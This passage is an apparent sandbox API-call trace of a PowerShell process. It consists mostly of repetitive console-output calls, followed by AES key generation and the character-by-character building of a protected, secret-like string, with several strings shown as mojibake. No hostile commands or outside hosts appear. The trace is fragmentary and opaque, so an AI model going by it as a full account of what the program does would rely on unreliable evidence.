lpConsoleScreenBufferInfo=0x5a2e59c | out: lpConsoleScreenBufferInfo=0x5a2e59c) returned 1 [0234.468] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e594 | out: lpMode=0x5a2e594) returned 1 [0234.468] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e588, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e588*=0x2) returned 1 [0234.469] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e540 | out: lpConsoleScreenBufferInfo=0x5a2e540) returned 1 [0234.469] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0234.470] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0234.470] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0234.470] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e5a4 | out: lpConsoleScreenBufferInfo=0x5a2e5a4) returned 1 [0234.471] GetConsoleOutputCP () returned 0x1b5 [0234.471] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e314, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e314) returned 0 [0234.471] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e3f4 | out: lpConsoleScreenBufferInfo=0x5a2e3f4) returned 1 [0234.471] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0234.472] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x245cbc8*, nNumberOfCharsToWrite=0x30, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x245cbc8*, lpNumberOfCharsWritten=0x5a2e3e0*=0x30) returned 1 [0234.472] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0234.472] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e3e0*=0x2) returned 1 [0234.473] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4fc | out: lpConsoleScreenBufferInfo=0x5a2e4fc) returned 1 [0234.473] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4f4 | out: lpMode=0x5a2e4f4) returned 1 [0234.473] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e8*=0x2) returned 1 [0234.475] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0234.475] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0234.475] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0234.476] GetConsoleOutputCP () returned 0x1b5 [0234.476] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0234.476] GetConsoleOutputCP () returned 0x1b5 [0234.476] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0234.476] GetConsoleOutputCP () returned 0x1b5 [0234.476] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0234.476] GetConsoleOutputCP () returned 0x1b5 [0234.477] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0234.477] GetConsoleOutputCP () returned 0x1b5 [0234.477] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0234.477] GetConsoleOutputCP () returned 0x1b5 [0234.477] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0234.477] GetConsoleOutputCP () returned 0x1b5 [0234.477] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0234.477] GetConsoleOutputCP () returned 0x1b5 [0234.477] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0234.477] GetConsoleOutputCP () returned 0x1b5 [0234.478] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0234.478] GetConsoleOutputCP () returned 0x1b5 [0234.478] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0234.478] GetConsoleOutputCP () returned 0x1b5 [0234.478] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0234.478] GetConsoleOutputCP () returned 0x1b5 [0234.478] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0234.478] GetConsoleOutputCP () returned 0x1b5 [0234.478] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0234.479] GetConsoleOutputCP () returned 0x1b5 [0234.479] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0234.479] GetConsoleOutputCP () returned 0x1b5 [0234.479] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0234.479] GetConsoleOutputCP () returned 0x1b5 [0234.479] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0234.479] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0234.479] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0234.480] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x245d530*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x245d530*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0234.480] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0234.481] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0234.481] GetConsoleOutputCP () returned 0x1b5 [0234.481] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0234.481] GetConsoleOutputCP () returned 0x1b5 [0234.482] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0234.482] GetConsoleOutputCP () returned 0x1b5 [0234.482] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0234.482] GetConsoleOutputCP () returned 0x1b5 [0234.482] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0234.482] GetConsoleOutputCP () returned 0x1b5 [0234.482] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0234.482] GetConsoleOutputCP () returned 0x1b5 [0234.482] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0234.482] GetConsoleOutputCP () returned 0x1b5 [0234.483] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0234.483] GetConsoleOutputCP () returned 0x1b5 [0234.483] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0234.483] GetConsoleOutputCP () returned 0x1b5 [0234.484] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0234.484] GetConsoleOutputCP () returned 0x1b5 [0234.484] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0234.484] GetConsoleOutputCP () returned 0x1b5 [0234.484] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0234.484] GetConsoleOutputCP () returned 0x1b5 [0234.484] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0234.484] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0234.484] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0234.485] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x245d9d8*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x245d9d8*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0234.485] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0234.485] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0234.486] GetConsoleOutputCP () returned 0x1b5 [0234.486] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0234.486] GetConsoleOutputCP () returned 0x1b5 [0234.486] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0234.486] GetConsoleOutputCP () returned 0x1b5 [0234.486] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.487] GetConsoleOutputCP () returned 0x1b5 [0234.487] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.487] GetConsoleOutputCP () returned 0x1b5 [0234.487] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0234.487] GetConsoleOutputCP () returned 0x1b5 [0234.487] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0234.487] GetConsoleOutputCP () returned 0x1b5 [0234.487] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.487] GetConsoleOutputCP () returned 0x1b5 [0234.487] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.488] GetConsoleOutputCP () returned 0x1b5 [0234.488] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0234.488] GetConsoleOutputCP () returned 0x1b5 [0234.488] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0234.488] GetConsoleOutputCP () returned 0x1b5 [0234.488] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.488] GetConsoleOutputCP () returned 0x1b5 [0234.488] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.489] GetConsoleOutputCP () returned 0x1b5 [0234.489] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0234.489] GetConsoleOutputCP () returned 0x1b5 [0234.489] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0234.489] GetConsoleOutputCP () returned 0x1b5 [0234.489] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.489] GetConsoleOutputCP () returned 0x1b5 [0234.489] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0234.489] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0234.490] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0234.490] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x245e3c8*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x245e3c8*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0234.490] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0234.490] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0234.491] EtwEventActivityIdControl () returned 0x0 [0234.491] EtwEventActivityIdControl () returned 0x0 [0234.491] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.492] EtwEventActivityIdControl () returned 0x0 [0234.492] EtwEventActivityIdControl () returned 0x0 [0234.492] EtwEventActivityIdControl () returned 0x0 [0234.493] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.494] EtwEventActivityIdControl () returned 0x0 [0234.494] EtwEventActivityIdControl () returned 0x0 [0234.494] EtwEventActivityIdControl () returned 0x0 [0234.495] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d100) returned 1 [0234.496] CryptGenKey (in: hProv=0x5c4d100, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c995e0) returned 1 [0234.496] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0234.496] CryptExportKey (in: hKey=0x5c995e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0234.497] CryptExportKey (in: hKey=0x5c995e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2465d94, pdwDataLen=0x5a2e8c4 | out: pbData=0x2465d94*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0234.497] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.497] EtwEventActivityIdControl () returned 0x0 [0234.497] EtwEventActivityIdControl () returned 0x0 [0234.497] EtwEventActivityIdControl () returned 0x0 [0234.498] SysStringLen (param_1="") returned 0x8 [0234.498] SysStringLen (param_1="6") returned 0x8 [0234.498] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.498] SysStringLen (param_1="揼잂᱌頤溓姱ꐹꃁ") returned 0x8 [0234.498] SysStringLen (param_1="揼잂᱌頤溓姱ꐹꃁ") returned 0x8 [0234.498] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.498] SysStringLen (param_1="61") returned 0x8 [0234.498] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.499] SysStringLen (param_1="ﴻ\䇝唛≂茿≳) returned 0x8 [0234.499] SysStringLen (param_1="ﴻ\䇝唛≂茿≳) returned 0x8 [0234.499] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.499] SysStringLen (param_1="61d") returned 0x8 [0234.499] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.499] SysStringLen (param_1="\䏟諶⯈⪘ẕ溏⊠) returned 0x8 [0234.499] SysStringLen (param_1="\䏟諶⯈⪘ẕ溏⊠) returned 0x8 [0234.499] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.499] SysStringLen (param_1="61dT") returned 0x8 [0234.499] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.499] SysStringLen (param_1="뾑磤﯈祔厀\ꀂ∜) returned 0x8 [0234.499] SysStringLen (param_1="뾑磤﯈祔厀\ꀂ∜) returned 0x8 [0234.499] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.499] SysStringLen (param_1="61dTq") returned 0x8 [0234.499] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.500] SysStringLen (param_1="酚㓰繮冂僩\ﻜ摷⊍) returned 0x8 [0234.500] SysStringLen (param_1="酚㓰繮冂僩\ﻜ摷⊍) returned 0x8 [0234.500] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.500] SysStringLen (param_1="61dTqU") returned 0x8 [0234.500] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.500] SysStringLen (param_1="ꦯ叜픚鐠䛻쩿ṥ㾝") returned 0x8 [0234.500] SysStringLen (param_1="ꦯ叜픚鐠䛻쩿ṥ㾝") returned 0x8 [0234.500] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.500] SysStringLen (param_1="61dTqUM") returned 0x8 [0234.500] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.500] SysStringLen (param_1="ῡ\懝턘갩⭮邐蘞∲) returned 0x8 [0234.500] SysStringLen (param_1="ῡ\懝턘갩⭮邐蘞∲) returned 0x8 [0234.500] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.500] SysStringLen (param_1="61dTqUMW") returned 0x8 [0234.500] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0234.501] SysStringLen (param_1="醈ᆶ뵂헰দ똩") returned 0x8 [0234.501] SysStringLen (param_1="醈ᆶ뵂헰দ똩") returned 0x8 [0234.501] SysStringLen (param_1="醈ᆶ뵂헰দ똩") returned 0x8 [0234.501] SysStringLen (param_1="醈ᆶ뵂헰দ똩") returned 0x10 [0234.501] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.502] SysStringLen (param_1="61dTqUMWT\\曟ތ糝掏竕笒") returned 0x10 [0234.502] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.502] SysStringLen (param_1="醈ᆶ뵂헰দ똩ⲝ䙂≖昐찅튱₠毠") returned 0x10 [0234.502] SysStringLen (param_1="醈ᆶ뵂헰দ똩ⲝ䙂≖昐찅튱₠毠") returned 0x10 [0234.502] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.502] SysStringLen (param_1="61dTqUMWTK曟ތ糝掏竕笒") returned 0x10 [0234.502] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.502] SysStringLen (param_1="醈ᆶ뵂헰দ똩त懭䓼핖莶ɫ렸") returned 0x10 [0234.502] SysStringLen (param_1="醈ᆶ뵂헰দ똩त懭䓼핖莶ɫ렸") returned 0x10 [0234.502] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.502] SysStringLen (param_1="61dTqUMWTKuތ糝掏竕笒") returned 0x10 [0234.502] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.503] SysStringLen (param_1="醈ᆶ뵂헰দ똩䏿둡玅ﬨ兓") returned 0x10 [0234.503] SysStringLen (param_1="醈ᆶ뵂헰দ똩䏿둡玅ﬨ兓") returned 0x10 [0234.503] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.503] SysStringLen (param_1="61dTqUMWTKuS糝掏竕笒") returned 0x10 [0234.503] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.503] SysStringLen (param_1="醈ᆶ뵂헰দ똩喲鋟쪝땞誎叔퉎틯") returned 0x10 [0234.503] SysStringLen (param_1="醈ᆶ뵂헰দ똩喲鋟쪝땞誎叔퉎틯") returned 0x10 [0234.503] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.503] SysStringLen (param_1="61dTqUMWTKuSd掏竕笒") returned 0x10 [0234.503] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.503] SysStringLen (param_1="醈ᆶ뵂헰দ똩ꮐ棜獖꺒姜漌") returned 0x10 [0234.503] SysStringLen (param_1="醈ᆶ뵂헰দ똩ꮐ棜獖꺒姜漌") returned 0x10 [0234.503] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.504] SysStringLen (param_1="61dTqUMWTKuSdR竕笒") returned 0x10 [0234.504] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.504] SysStringLen (param_1="醈ᆶ뵂헰দ똩㴾杪뜖庒\竚勗澷⋷) returned 0x10 [0234.504] SysStringLen (param_1="醈ᆶ뵂헰দ똩㴾杪뜖庒\竚勗澷⋷) returned 0x10 [0234.504] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.504] SysStringLen (param_1="61dTqUMWTKuSdRM笒") returned 0x10 [0234.504] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.504] SysStringLen (param_1="醈ᆶ뵂헰দ똩ઌ涛䓙ཧꏉ忷ᾅ") returned 0x10 [0234.504] SysStringLen (param_1="醈ᆶ뵂헰দ똩ઌ涛䓙ཧꏉ忷ᾅ") returned 0x10 [0234.504] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.504] SysStringLen (param_1="61dTqUMWTKuSdRMe") returned 0x10 [0234.504] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.505] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶") returned 0x10 [0234.505] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶") returned 0x10 [0234.505] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶") returned 0x10 [0234.505] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶") returned 0x18 [0234.505] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.506] SysStringLen (param_1="61dTqUMWTKuSdRMewﹰ摢脯ՠ⹪ᯍ") returned 0x18 [0234.506] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.506] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶ힻ鹽⼇᛺瞛藏覶") returned 0x18 [0234.506] SysStringLen (param_1="醈ᆶ뵂헰দ똩᭵웥ጋ㯡昹댟崙훶ힻ鹽⼇᛺瞛藏覶") returned 0x18 [0234.506] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.506] SysStringLen 